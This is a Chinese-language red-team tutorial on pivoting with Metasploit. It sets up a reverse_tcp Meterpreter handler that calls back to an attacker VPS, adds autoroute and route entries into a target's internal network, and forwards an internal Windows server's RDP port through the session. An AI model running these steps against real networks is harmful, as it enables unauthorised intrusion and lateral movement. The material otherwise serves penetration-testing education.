MSF的autoroute模块是MSF框架中自带的一个路由转发功能,实现过程是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由,直接使用MSF去访问原本不能直接访问的内网资源,只要路由可达我们既可使用MSF来进行探测了

预览内容

先从一个能出网的meterpreter开始

使用msf添加目标内网路由的多种方式

基础环境

VPS: 公网VPS,metasploit所在机器

linux-web服务器:目标能出外网的一台web服务器

Windows-server2008r2:目标一级内网下的一台win服务器,断网机

0x01 获取目标内网meterpreter

准备payload,把linux-web服务器的meterpreter弹回来

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST your-vps
set LPORT 5555
exploit -j

0x02 在meterpreter添加路由

第一,通过上一步的ifconfig发现目标存在192.168.0这个网段,因此直接在meterpreter下利用autoroute模块添加到目标的内网192.168.0这个网段的路由

1
2
3
4
5
6
meterpreter > run get_local_subnets //获取当前机器的所有网段信息
meterpreter > run autoroute -s 192.168.0.0/24 //添加目标内网0网段的路由,CIDR格式添加
meterpreter > run autoroute -s 192.168.0.0 -n 255.255.255.0 //同样可以自行指定子网掩码进行添加
meterpreter > run autoroute -p //打印当前添加的路由表信息
meterpreter > background
meterpreter > run autoroute -d -s 192.168.0.0/24 //删除指定的路由

这样就可以开始探测内网了

第二,在msf终端下,把目标指定的内网段的路由添加在指定的session上

1
2
3
4
msf > sessions -l
msf > route add 192.168.0.0 255.255.255.0 1 添加到目标指定内网段下的路由,后面的 1 就表示对应的 session 的 id
msf > route print 打印所有已经添加的路由列表
msf > route remove 192.168..0 255.255.255.0 1 删除指定路由

对于多级代理,在打下一级内网下的机器后,如果发现其有新的网段,依照上面的方法添加新网段的路由即可

0x03 portfwd转发3389

如果想在本地机器上访问192.168.0网段下一台windows server2008 r2机器的3389,可以直接在meterpreter上利用内置的端口转发功能把目标192.168.0内网的windows server2008r 3389转到本地的某个端口上

1
2
msf > sessions -i 1
meterpreter > portfwd add -l 4545 -r 192.168.0.255 -p 3389

最后在本地远程连接目标内网的3389,连接的IP要为你的公网VPS

参考文章

红队攻防揭秘—《45,利用msf自带的route模块穿透目标多级内网》